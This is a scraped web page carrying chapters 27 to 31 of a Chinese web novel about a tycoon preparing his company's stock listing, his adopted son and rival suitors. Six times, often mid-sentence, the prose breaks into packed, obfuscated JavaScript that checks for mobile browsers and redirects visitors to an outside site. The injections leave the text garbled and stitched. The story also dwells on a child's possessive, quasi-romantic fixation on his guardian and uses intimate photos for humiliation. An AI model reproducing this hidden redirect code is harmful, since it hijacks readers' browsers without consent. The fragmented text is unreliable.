l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123655|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都游荡着拍门的巨大声响。佣人们面面相觑,不知道苏廷在发什么疯。 苏廷只觉得他维持这么久的好面具被揭开了。 过了很久,叶修明才走到门口,与苏廷仅有一门之隔。他说:“施方逸本来就欠教训,小爸你没有做错什么。如果是我,也会把他打成筛子。” 苏廷攥紧了拳头,这是意识到自己当表率失败后的自责,无话可说的他霎时就把自己打包回了囚笼,那是他最好、最安全的退守之地。 苏廷离开了家。 他在办公楼的顶层默背着周叙白给他的演练清单,当他看见周叙白手写的“交易所不是你的敌人,而是你最苛刻的合作伙伴”时,宁定从容地笑了。 他给自己开了瓶罗曼尼·康帝,已在提前享受上市成功的欣悦了。到时候,叶修明一定会忘了他私自用刑时的狰狞,他作为爸爸的威严又回来了。 周叙白带了财务总监过来模拟答辩,苏廷醉醺醺地问了她几个无关紧要的问题,全都不在演练清单上。周叙白见状觉得失常,就把财务总监带走了,兀自走到苏廷面前,没收了他的酒杯。 “还没到提前庆贺的时候。” 苏廷的双眼有些失焦,伸手去截断周叙白的手。 周叙白:“你到底怎么了?裴星遥是不是说什么话刺激到你了。” 苏廷:“没有……不是……” 他走到皮质沙发旁抬腿一躺,叶修明送的吊坠便垂到一边,苏廷出手,强行拨正,脸色微醺地准备睡觉。 “你别告诉我跟叶修明有关。” 苏廷:“是。” “到底发生什么事了?” “他看见我们在西郊殴打施方逸。”苏廷侧过脸去,睫毛在颊上拉出栅栏状的投影,鼻梁处的暗影,看起来非常易碎。 “打就打了,我一点都不后悔,难道你还在乎自己在儿子眼里的形象?” 苏廷幽怨地转头,与周叙白的视线交汇,“先是那些艳照,再是殴打老师,周叙白,你帮我想想有什么办法能让我快速高大起来。” 27.第27章 周叙白打趣道:“捐楼?哦不对,你已经捐过了。” 苏廷把鞋一脱,募地朝周叙白扔过去。 周叙白闪躲不及,已经被那薄底皮鞋打到了鼻梁,这痛感让他莫名地生出几分怨怼,缓缓问道:“叶修明就是个小孩子,你何必在乎一个孩子怎么看你。” 苏廷慢悠悠地说:“我还没给你说过,叶修明的陪伴,赋予了我人生所有的意义,有他在我身边,我甚至比以前快乐了很多。” “我记得你是最讨厌小孩子的。” 苏廷笑了笑:“可能人真的会变,能变的,才是人。” “可我一直没变过。” “所以你不是人。” 天空逐渐阴沉,星斗爬了上来,夕暮的地平线邈远无边,显得金城庞大壮阔。 周叙白看了看天色,蹙了蹙眉,“我建议你还是回家睡,不然那么多员工,一个都不敢正常下班了。” “让他们都走吧。”苏廷说。 “你想让我陪着吗。” 苏廷说:“想。” 周叙白把员工全都遣散回家后,只身回到顶楼,见苏廷微敞着领口,睡得十分安详,就从衣柜拿了毯子给他盖上。 他默默喟叹,有点不知今夕是何夕。 苏廷外婆去世后的某一天,他也这样到周叙白的家里醉过去一次,那时他们才读大二,不知道酒的深浅,能醉成那样周叙白一点都不诧异。 苏廷的酒量突飞猛进到了能把大部分人喝趴下后,今天只喝了一瓶红酒就晕倒了,周叙白才诧异。 也许苏廷真的受够了世界的恶意与算计,叶修明的无害才像一股暖流,击溃了苏廷心里最坚硬的伪装。 可是当初顾见清也是如叶修明这般看起来无害,谁想到故事的终局是谁都破不了的死结呢? 周叙白充满戒备地说:“我知道你没有醉,苏廷,但这句话我不得不说,你变着花样给他做饭,心也比以前更软了,可你不能再全身心地付出什么了,小心会死得很惨,你对叶修明的依赖有一天可能会变成一把尖刀刺向自己的心脏。” 苏廷的眼缝微微打开,仿佛又看到顾见清的冷刀向自己袭来。 顾见清最早是苏廷的合伙人,两人挣到第一桶金后,苏廷就给了他充分的信任,并将自己的钱全部交给他打理,却没想到顾见清不仅以他的名义贷款融资,还卷款逃跑,在海外抱着新欢发文:原来你才是我真正想要的。 之后,便是顾见清用无数张自己的艳照令自己蒙羞。 苏廷被迫还债,用那点岌岌可危的信用值去银行贷款,幸好银行经理谢逢生给了他一点希望,批了他的贷款,才有后来的商业帝国。 周叙白的话他听进去了。 叶修明是个来路不明的孩子,父母有可能还健在,如果有一天他的父母后悔,想要带叶修明走,那自己该如何自处呢。 苏廷不得不刻意维持他与叶修明的距离,还把裴星遥带到家里几次吃饭,与他表现得刻意亲昵。 裴星遥看着一旁默默干饭的叶修明,用玩味的眼神扫向苏廷。 苏廷小声道:“他不会打扰到我们的。” 裴星遥穿着件浅灰色帽衫,衬得他风流无骨,也更像个大学生,他温和而不羁地在桌下摸着苏廷的大腿,那微弱的力道里尽是挑逗和试探。叶修明故意碰掉刀叉,并蹲了下去,“无意间”撞上了裴星遥的造次。 可他看到了叶修明蹲卧下去,却丝毫没有要消停的意思,在桌面之下握住了苏廷的手。 苏廷下意识地往回一缩,脸色微变,看见叶修明坐回去后,说:“修明,你这次期末考得了全班第一,有没有想要的奖励。” “没有!”叶修明踹开椅子,头也不回地去房间躲清静去了。 他实在想不明白,为什么看见小爸用球杆打别人,他就要用冷漠来惩罚自己,这些天他给苏廷打的那些招呼里,能得到回应的甚至不足两个! 可他对周叙白还是一如既往地熟络,就这么厚此薄彼吗?! 不行……他一定要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16133824|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问个清楚! 刚推开门,他就被眼前壮观的场景震惊了。 苏廷和裴星遥像是一对难以分开的连体儿,正用尽全力拥吻在一起,苏廷那单薄的身子几乎被覆盖完全,仅看见他削薄苍白、看不清表情的侧脸。 苏廷他们听见响声,并没有想要停下来的意思,而是加深、再加深……成为彼此最为缺少的拼图。 叶修明是第一次看见男人之间接吻,老实说,这感觉挺让他意外的,他本以为自己会排斥,会恶心,但那个接吻的人是苏廷,所以他心中无数个抗拒的念头骤然消失。 不知为什么,那晚梦到的衣袂纷飞的苏廷好像再一次入了他的眼帘,成为最馥郁美好的梦一场。 很快,这个吻结束,而苏廷则被裴星遥拉进房间,“砰”的一声后,叶修明的这场梦刹时就晦暗无光了。 他的神色奇异地变幻了好几次,每次都不是好脸,最后满眼凌厉地将视线落在苏廷的房门。 他们在里面干什么呢? 有什么是小孩子不能看的? 苏廷还真是防着自己,大家都是男人,有这个必要吗? 叶修明觉得这件事不对劲,支着耳朵贴在门上。 房间里窸窸窣窣的细碎声音传来,之后便是苏廷略带娇嗔的喘息,那个叫裴星遥的说了句什么话后,苏廷就顿时笑得像个大傻子。 叶修明大力挥着胳膊,刚想狠狠拍下去时,就听见苏廷清晰的声音:“我儿子这个人有点怪异,你别放在心上。” 裴星遥早已脱了帽衫,赤-裸着上半身,露出精壮而劲瘦的肌肉,跃跃欲试地侧躺在苏廷的身旁。 苏廷的手指沿着他胸肌之间的凹陷一直向下,笑吟吟地说:“今天就到这里吧,不过你可以在我这睡觉。” 裴星遥:“你没准备好?” 苏廷:“明天答辩,要保留力气。” 裴星遥:“那我怎么办,你要为我负责。” 苏廷笑着说:“我苏廷,从不为任何人负责。” 28.第28章 好在裴星遥不是没有眼力见的,知道苏廷确实没有准备好,往好处看,这应该是那件事之后苏廷第一次对谁敞开心扉。 “明天才从金城出发到沪市吗?”裴星遥道,“时间会不会有点赶?” “早班机,应该来得及。” 裴星遥看了看时间:“那你确实要早点睡,我就不留下来陪你了——” 话音未落,苏廷的房门就被铁铲一样的东西砸开,砰啪作响,原来是叶修明拿着吸尘器的手柄,使尽了九牛二虎之力,才终于把门打开。 他乖觉的五官此刻正微微扭曲着,冲床上的两人干瞪着眼。 忽然,叶修明将吸尘器甩到了裴星遥的身上,集尘桶在快速的运动下骤然脱落,尘袋里的脏东西全都覆到了裴星遥的衣服上,那细密的灰尘呛得人睁不开眼,苏廷连忙跳下,斥道:“叶修明!你在干什么?” 叶修明也不知道支撑自己做这件事的理由是什么,他只是不想自己成为小爸世界里的绝缘体,成为他人生里最微不足道的过客。 关着门,就是否认他们之间的所有。 “这个人……他明显不怀好意!”叶修明说得底气不算足,可是气势到位了。 苏廷将他一把推了出去,力大无穷,不发一言,只是在叶修明踉踉跄跄地出门后叫了声佣人的名字。 裴星遥小心整理着身上的残留物,欲言又止地看着苏廷。 “看来你的养子的确会打扰到我们,下次去我家。” 苏廷的清眸微合,也没觉得裴星遥唐突。 他这张脸恰好是自己喜欢的,从蓝色厂房他就被惊艳了,何况他动性不动情,只满足被压抑了太久的需要,这件事本身就是未尝不可。 他应道:“好。” 裴星遥略作修整后,就在叶修明愤怒的注视中离开。 佣人打扫的时候难免会带起些飞尘,苏廷受不了他房间里有一点脏,于是来到客厅,发现叶修明呆坐在落地灯旁,并没有要睡的意思。 苏廷没有坐下,居高临上地说:“对待客人,你为什么要失礼。” 叶修明:“我说了,他看起来不怀好意。” “你当自己有火眼金睛吗,能一眼就看穿别人的心?”苏廷笑道,“他就是我之前误伤的人,我是在赔礼道歉。” 叶修明抬头:“你赔礼道歉的方式还真是让人叹为观止。” “那欢迎你来到成年人的世界,这就是我处理问题的办法。”苏廷摊开手,坦然告诉他。 “如果这就是所谓的成年人,那我宁可永远都不要长大。”叶修明的眼里似乎藏了许多的龃龉,眼尾发红,问道:“你这段时间为什么对我这么冷?我又做错事了吗?” 苏廷想了想,“除了今天以外,你没做错任何一件事。” “那我想不明白,你躲着我、不理我,是为了什么?” 苏廷无嗔无喜地对他说:“成年人没有那么多为什么,随心而为,随性所至,没有答案的。” 叶修明“嗤”了一声:“你有那么豁达吗?” 募地,苏廷的心像被一把大手箍紧,让他的心停跳一拍,无论如何,叶修明都不是错的哪一个,错的是他自己的小心谨慎,是一朝被蛇咬十年怕井绳的胆小。 所以他解释说:“还记得我把IPO的申请文件给了证监会吗?最近在忙着准备上市前的工作,修明,你不用想得太多,我只是太忙了而已。” 叶修明知道这都是大人的借口,曾经他爸也用忙作为借口,直到最后把他扔在了荒无人至的地方。 所以苏廷最后,也一定会抛弃自己的。 叶修明的心弦被久远的过去拨动,将落未落的眼泪终于还是掉了出来,他哭着扑向苏廷,用力环抱,眼泪大颗大颗地落在苏廷的黑色开衫。 “你不要丢下我不管。” 苏廷心下一软:“要不你明天跟着我去答辩好吗,证明我没有在撒谎。” 他笑着擦干叶修明的泪水:“而且我说过,我是不会抛弃你的。” 第二天,周叙白早早地就打了鸡血过来给苏廷挑衣服,嘱咐注意事项,他见苏廷给脖子上套了条深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136883|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓝色暗纹的领带后,一把扯了下来,说:“答辩现场禁用条纹领带,防屏幕摩尔纹。” 苏廷要喷的香水也被周叙白一把扔到了脏衣篮里,说:“不许喷,今天也不许喝咖啡,会扰乱空气监测系统。” 苏廷眉头微蹙,“周叙白,你像个老妈子一样。” “我这个老妈子能把扉合辅佐上市,就算是也不是一般的老妈子。” “沪市的气温比金城略高几度,可能有小雨……”周叙白还没讲完,苏廷就说:“哦对了,我要把叶修明带着,让他去感受一下。” “苏廷!到时候咱俩都得去证券大楼26楼答辩,小叶子到时候谁来照顾?” 苏廷笑道:“我都安排好了,别那么心焦。” 他扯了个微小的鬼脸:“你可真够紧张的,扉合的上市是我们一早就写进企业规划的,这一天早晚都要来,放轻松。” 到沪市后,他们直奔证券大楼,早高峰让他们比预期时间延误了20分钟,但还是赶上了安检进场,人脸识别后坐专梯直达26楼,坐在了靠南侧的椭圆形会议桌上。 在他们进场前,叶修明被快速扔给了扉合沪市分公司的行政阿良,叶修明给阿良说:“我先去上个洗手间。” 随后,他才在阿良的带领下来到一家法式餐厅。 苏廷的妙语如珠,将上市委的几名专家逗得前仰后合,答辩的氛围非常轻松,身为扉合的实际控制人,能在五年的时间内将体量做到上市公司的标准,本身就是杰出的成就。 不过,答辩过程中还是出现了不和谐的小插曲,有位板正的工作人员过来递上一个牛皮信封,苏廷顿时有了不好的预感。 正中间的是位红圈所的创始合伙人,他征得其他六人的同意后,打开了信封。 映入眼帘的,令在场的所有人都惊掉大牙。 正是苏廷数年前被顾见清拍摄的照片。 一位四大会计师事务所的合伙人接过照片,翻转过来后,定了定神,随后一念:“爸爸……我爱你。” 这是……什么情况? 29.第29章 苏廷的手指微微发颤,双手蜷在桌下,指节发出轻微的声响。他笑言:“这是苏某的私事,与本次答辩无关,各位委员可以继续提问了吗?” 于是这些照片也就顶多算是小小的插曲,无伤大雅,答辩会上没有委员就企业财表等提出质疑,事实上,一个质疑扉合上市资格的都没有。 苏廷早已用钛合金式的数据代替了豪言壮语,成为资本殿堂的敲钟声。 待他们双方握手再见后,周叙白的冷汗才敢掉下来,他们一同出了证券大楼的门,许久不抽烟的苏廷竟然给自己点了根烟,周叙白也有些后怕地抢过来深吸一口。 “苏廷,虽然你不想承认,但是那些照片的背后,写着‘爸爸,我爱你’,除了叶修明,也没有其他的解释了。” 只见苏廷正在给谁发着信息,过了一会儿,等他看到阿良的[他中间的确有一段时间不在,去上卫生间了]后,眉际上的阴影几乎要将他整个人都吞没。 周叙白:“所以叶修明有可能是哪个竞争对手或者敌人派过来的?到底是谁呢?苏廷,你还要继续养着他吗?” “知道我今天来答辩的都有谁?” “那就多了,CFO、我、公司几个准备资料的、订行程的……” “所以为什么一定是叶修明呢?” 周叙白:“可那上面写着‘爸爸’,能这么称呼你的,难道还有别人?” 苏廷的心有点乱,似乎背叛已经是他人生的底色了,他目色沉寂,在周遭细雨的衬托下,显得落魄极了。 在理不出什么章程的情况下,还是吃饭比较重要,他想起还在法餐厅等着他的叶修明,对周叙白说:“别让他等久了,他肚子会饿的。” 这家法餐厅开了至少有30年,就在万国建筑群里。 叶修明有些驾轻就熟地点着单,可惜法餐很多都是拿葡萄酒或者干邑酒烹饪的,苏廷怕遇到上次那种状况,这不让点,那也不让点,最后主菜就点了最普通的罗西尼牛排,连酒酱都省了。 周叙白率先开口问道:“小叶,刚才你小爸答辩时你不是去洗手间了吗,当时你还去了哪里?” 苏廷给了周叙白一眼刀。 叶修明道:“没去哪里。” “那为什么耽搁那么久。” “周叙白!”苏廷警告地道。 叶修明:“我有点迷路,找了半天阿良叔叔,有什么事吗大爸?” 就这样,他们吃得各怀心思,连苏廷那瓶开胃酒基尔都直接当主菜酒了,周叙白则品着冰镇的莫斯卡托,看着窗外那片入骨的繁华。 “我爸爸也喜欢莫斯卡托。”叶修明盯着冰镇桶里的淡绿色酒瓶,记忆的闸门被缓缓打开,“每年都有人从皮埃蒙特给他寄很多箱。” 那声“皮埃蒙特”是用标准的意大利语说出来的,苏廷和周叙白俱是一震。 他们对视一眼,都从对方的眼睛里读出了一件事—— 叶修明怎么可能是竞争对手派来的内奸。 他们家恐怕早就在证券大楼答辩过了,不可能有搞黄他上市的动机。 叶修明六年级的时候,再次恢复了寄宿在学校,裴安不解地问道:“难道你小爸不喜欢你在家里?” 叶修明想了想从沪市回来后,苏廷虽然会做很多好吃的菜,但却多了很多疏离感,仿佛……有什么误解横亘在二人之间。 况且……苏廷最近跟裴星遥打得火热,就算苏廷不开这个口,他也要退避三舍,争取不看到任何少儿不宜的东西。 他用胳膊把裴安的脑袋套在腰侧,用故作轻松的语气说:“爸大不由儿啊!” 但是,叶修明绝不是坐以待毙的性格,他信不过裴星遥,觉得裴星遥那股娘兮兮的风格怎么也配不上苏廷,若论般配,温言玉都比裴星遥要强。 所以他搬来了救兵,在一次周末回家、苏廷忘了接他时,给温言玉打去电话。 “喂,是我,咱们的好日子来了。” 温言玉眉头紧蹙:“难道郑书记那事结束了?你爸爸也没事了?” “不是这方面的好日子,”叶修明笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144992|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说:“你不是最想追到我小爸吗?我帮你行不行?” 温言玉一下被惊到了:“我可不敢当你爸爸。” “呸,八字还没一撇呢就想让你爷爷喊你爸。” “今天下午我三点就放学,到时候我带你回家,提前给他做饭吃。” 温言玉的眼睛刷的亮了:“你真的想帮我?” “当然!”叶修明:”哎,对了,他的酒……” “起泡!” “爱吃的菜…? “香煎海鲈鱼,帕特肉冻……还有布蕾……布蕾!” 叶修明严重怀疑温言玉一个念到的菜都做不出来,但还是满怀期待地走出校门,坐上他略显低调的车。 他指着后座上的冷冻箱:“都准备好了。” 叶修明突然郑重其事地说:“温哥哥,我帮了你这个忙以后,你答应我永远不要给苏小爸提我的身世。” 温言玉:“你怕他瞧不起你吗?我觉得不存在啊,叶叔叔没有干伤天害理的事。” “我不管,你必须答应我,不然我就跳车。”叶修明说。 “行了,你先别跳,你跳了大家都得死。”温言玉摸了摸叶修明的软毛,越摸越觉得好玩,“我看出来了,苏廷对你挺好,看把你养的,油光水滑的。” 叶修明静静地别过脸去,看着窗外的景致发呆。 “我还没问你,如果今天苏廷不回家我该怎么办?他的公司可是马上要上市了,这么关键的时候,还有时间回家?” 叶修明言之凿凿地说:“嗯,他一定会回来的。” “为什么?” “因为我每周放假,周五他都会提前下班。” 温言玉“啊?”了一声,“我怎么觉得自己打扰到你们了。” 叶修明轻哼了一声,“也不算,不过……你可能打扰到他和他的小情人。” 温言玉愣了半天,终于回过味来:“合着你是不喜欢那个男的,让我帮忙干掉他?” 叶修明轻晃着脑袋:“对啊,你不愿意吗。” 30.第30章 温言玉一百个愿意,但是当备胎这种事情,对他来说还比较新鲜,是从未经历过的。 苏廷早早就回家继续工作,所以这次掌厨的是裴星遥。 看着裴星遥在厨房忙碌而慌乱的背影,苏廷深感不妙,儿子好不容易回来一趟,不会连顿好饭都吃不上吧。 “这个周叙白,上市酒会这么琐碎的事情竟然让我亲自决定。” 裴星遥处理着生肉,喷洒上白胡椒粉,笑道:“你们登上资本市场的第一场答谢会,重要性堪比答辩,到时候媒体、股东、投行、官员都要过来,办得好说不定能直接影响股价。” “你懂得倒不少。”苏廷打趣道,“我先诚挚地邀请你到场,弥补当年对你的亏欠。” 裴星遥的声音很低,仿佛吞了几个音节:“以什么身份呢?” “我的plus one,”苏廷毫不思索,“满意了吧。” “可我这个plus one至今都只是名义上的。”裴星遥微转过身,定定地看着苏廷,“实质上的呢?” 苏廷还是没有准备。 他能把裴星遥带回家给自己和叶修明做饭已经是破天荒、出格的事了,至于身体上的进一步接触,苏廷暂时还没想好。 没准时间能解答一切答案,但在那个答案到来之前,他还是忙好手头的事吧。 裴星遥:“你一而再再而三的拒绝下去,我会失去耐心的。” 苏廷疲懒地撩眼,似乎不快道:“从来都是我对别人失去耐心。” 裴星遥便噤声,不敢再说一句话。 备餐进行到这步,裴星遥都准备预热烤箱了,谁能想到苏廷的家里竟来了不速之客,来人一副公子哥打扮,拎着众多冷鲜食材,还是在叶修明的陪伴下,连忙于工作的苏廷都起身了。 温言玉看了眼裴星遥,有些轻蔑地“呦”了一声,“你是从哪冒出来的。” 叶修明是个懂得察言观色的人,在他看出苏廷有些措手不及的时候,向他糯糯地解释:“温叔叔正好从学校附近经过,就把我顺路带回来了。” 这话纯属骗人。 谁家顺路送娃,还准备这么多食材的。 裴星遥在社会上打拼多年,一眼就看出温言玉是不好惹的,只是没想到叶修明帮温言玉亮明的身份是他这辈子都攀附不到的高位时,那只拿平铲的手都在哆嗦。 温言玉打心眼瞧不起那些平头小老百姓,更别说是自己的情敌,说话间也是夹枪带棒,看裴星遥笨拙地把火开到最大热黄油,嗤了声:“你做过西餐吗?” 裴星遥不卑不亢地说:“很少自己做,太麻烦。” 温言玉突然想到了什么,满脸兴奋地越过裴星遥,对苏廷说:“我爸跟一家三星的谈好了,他们同意入驻你们Threshold,高兴吗?” 裴星遥:“才三星级酒店。” “米其林!笨蛋!” 裴星遥便一副没见过世面的表情把火关小,余光扫着专心搞酒会方案的苏廷。 这时苏廷像是被人点了穴,来了兴致:“温言玉,那家餐厅既然同意来Threshold,会提供外烩服务吗?我的上市酒会正好缺个像样的主厨。” 温言玉心中大喜,知道这是他表现的时候了,拍了拍胸脯:“包在我身上。” 裴星遥的法式可丽饼已经做好,散发着浓郁的奶香,他用餐纸擦净双手,说:“我去上个洗手间。” 叶修明目送裴星遥在佣人的指路下进了洗手间,眼神回到苏廷这里,在他的身上逡巡,苏廷穿了件深咖色的高龄毛衣和黑色有设计感的裤子,戴着自己给他的古币吊坠,头发打理得井井有条。 不知为什么,他看着看着就忘了要给温言玉助攻的事情。 温言玉轻咳一声后,叶修明有些埋怨地盯着他,不情不愿地道:“小爸,你不觉得温言玉更适合你吗?” 苏廷如临大敌:“这就是你把他带回家的目的?” “还是那个理由,我觉得裴叔叔接近你是不怀好意。” 苏廷的客厅虽然大,但是没有遮挡,空旷且不隔音,他们稍不留意就会让别人听到对话,而裴星遥也确实恰好听到了。 他隐隐作痛,转身去了另一间屋子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149188|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶修明看见裴星遥的身影,却没过多地放在心上,继续替温言玉当掮客,“你看,就拿上市酒会来说,温叔叔能帮到你,裴星遥能吗?” 他直呼的大名也让裴星遥听了进去。 苏廷:“够了,我本来就没打算跟裴星遥真怎么样,但至于温言玉……修明,今后都不要在我这提了好吗。” 温言玉并不如他说的那样精于厨艺,正在炸厨房,冒出滚滚浓烟。 苏廷微一皱眉,说:“他们都有比我更好的选择。” 叶修明:“可……”他抬眼,有点惊讶:“裴星遥怎么从我卧室里出来了。” 他问裴星遥:“你去我房间干什么?” “你们家太大了,有点迷路。”裴星遥远远看着惨不忍睹的厨房,跑去救场。 “小爸,”叶修明说:“他们都不可能有比你更好的选择。” 苏廷笑靥如花:“你对你小爸的认识还真是不清醒。” 其实他早就没有爱人的能力,也没有爱人的力气。 苏廷心想。 叶修明神色有所缓和:“小爸,能不能不要总对我那么冷淡,多爱我一点可以吗。” 苏廷愣了愣,浑身都充满了麻意,他正了正叶修明的领子,刮着他鼻子,回避道:“到时候还要给你定做一身西装。” “我穿西装干什么?” “因为你是小爸邀请参加扉合上市酒会的第一个人。” 叶修明身体僵硬,“连周叙白都还没邀请?” “他一个打杂的,发什么正式邀请。”苏廷忽然绷紧身子,“我差点忘了,裴星遥才是我第一个邀请的人。” 叶修明把脸黄着,上手就要揉搓苏廷的头发,苏廷看出他的意图,向身后一错,借力抱住叶修明,古币吊坠顿时就透过叶修明的薄衫打到了他。 他捂住胸口,装作很疼的样子,撒娇道:“小爸,我要……要死了。” 苏廷早就看出来他在讲废话,拧了下他的鼻子。 “不许胡说。” 温言玉不小心瞥到这一幕,双手像被冰封了一样,一动也不能动。 31.第31章 苏廷的电话一响,叶修明就去厨房巡视工作了,听起来,来电的应该是周叙白,也只有跟周叙白聊天时,苏廷才能无所顾忌地当他自己。 苏廷说:“那块地早点去变性,多高的出让金我都给。” 不知道周叙白说了什么,苏廷坚持己见,声音高了八个度,“谁说工业园区不能变高端住宅?我非要打破这种偏见。” 他撂下电话后,有点气不过地摔了下手机,温言玉端着还算像模像样的牛尾汤过来,问道:“是哪片地,要不要我帮忙。” 苏廷:“西郊工业园。” “那可是之前重工机械厂的位置,拆了重建的费用恐怕不小吧,你图什么?” 苏廷:“想别人之未想,做他人之未做,而已。” “但总要有点理由吧。” 苏廷淡淡一笑道:“你活这么大,身上也背了几个秘密,我就不允许有了?” 叶修明和佣人把剩余的食物搬桌布菜,温言玉见他们都过来了,稳下心神,决定时机对的时候再说。 “你们聊什么呢这么开心?”裴星遥笑道。 苏廷安然自若地把切好的蛋卷给叶修明推了过去,“在讲……秘密。” 温言玉看到苏廷跟叶修明之间奇特的气场后,眉间深深地拧紧,他见过父子感情深厚的,也见过养父子之间亲密无间的,但像他俩这种,还头回见。 至于怎么概括那种气场呢。 大抵就是二人自有天地结界,旁人都无法插-进去。 好在苏廷开了两瓶他珍藏的酒,温言玉才稍微顺气,只是走之前又看到苏廷在给叶修明拿湿巾擦手,以为自己眼花了的温言玉蹙着眉问裴星遥:“你看见了吗?” 裴星遥把苏廷的大门带上,走在温言玉身边,说:“看到什么了?” 温言玉欲言又止地拧眉,腹诽说你个瞎子。 他走得摇摇晃晃,好不容易到了楼下,却找不到车了,裴星遥倒是没喝酒,打算送他回家,问道:“你开什么车,我帮你找。” “法拉利,红色。” 裴星遥很快就找到他那张扬到不能忽视的车,低身扶他进去,温言玉靠在门上,大脑像灌了几斤铅条,所以当他慢悠悠地说出叶修明的身世时,自己是毫无察觉的。 “叶修明的爸爸叫叶淮安,是龙城的首富,甚至在国内都排得上号,郑云叔叔是他的靠山,被调查后叶淮安也自身难保,听说已经被控制了。” 裴星遥的脸上顿时浮现出意料之外的神色,虽不知这条信息有什么用,但没准是可以操纵叶修明的终极武器。 叶淮安的大名他也早有耳闻,这些年他在龙城打拼得久了,对于这座城市的门门道道早就了然,知道有些码头能拜得上,那叫祖上积德。 而叶淮安就是他这辈子都没办法拜到的码头。 果然有些人生来就在罗马。 至于那个叫郑云的,比温言玉的父亲还要位高权重,与自己更是霄壤之别。 裴星遥把温言玉送到一奢豪小区后,面颊阴沉地离开了此处。 苏廷替佣人把最后一副餐盘收好后,那佣人道:“苏先生,我女儿马上生宝宝了,预产期就在这几天,需要人照顾,我可能要辞职回家带孙了。” “嗯?”苏廷有三个佣人,一个负责烧菜,另外两个做家务,这位要辞职的是做家务的,走了并不会对苏廷的生活有实际影响,可是苏廷不喜欢突然改变计划,一时间连句“恭喜”都忘记说了。 还是叶修明眼尖手快,立刻去卧室给她包了个大红包,那佣人满心欢喜地走后,苏廷对叶修明露出刮目相看的表情。 “想不到你小小年纪还精通世故。” 叶修明心想那叫你忒不讲人情。 突然间,苏廷“啊”了一声,厉色道:“周叙白欠我一个红包。” “为什么啊?” “我领养孩子的。” 叶修明恍惚间仿佛听到了大狗鸟鸣的声音——这不可能,苏廷开玩笑了——这绝不可能。 不过,叶修明是由衷地被他的冷笑话逗笑了,捧腹乱笑了半天。苏廷诧异:“你笑什么?把温言玉请过来我还没跟你算账呢。” 叶修明的头下意识地往回缩了半寸,生怕头顶落下来个球杆,不过那个裴星遥来路不明,进展倒挺快,不是个好兆头。 所以就算他挨几棍子,也认了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149189|178677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “为什么你一定觉得温言玉比他好呢?难道你之前认识温言玉?” 叶修明装傻充愣地一笑:“我认识的人,就是小爸认识的人,只会少,不会多。” “叶修明,”苏廷突然停下,喉结滚动吞咽了一下,再开口时语调沉了不少,“你会不会欺骗我?” 叶修明不是蛇,连井绳都不是,苏廷大可不必视他为定时炸弹,可他就是不愿出现周叙白那个老妈子念叨的场面。 “你对叶修明的依赖有一天可能会变成一把尖刀刺向自己的心脏。” 这句话到底从何而起呢? 哦对,从自己那悲惨的前半生得出来的结论。 苏廷摸向那枚古币吊坠,自己的体温让它温润,富有热度,就像被叶修明无意间捂暖的自己一样。 他再相信一次,苏廷在心里说,目光柔柔地看着叶修明亲口说了声“不”字后,一把把叶修明拉了过来,呼噜他头上的软发,带他到浴室去洗澡了。 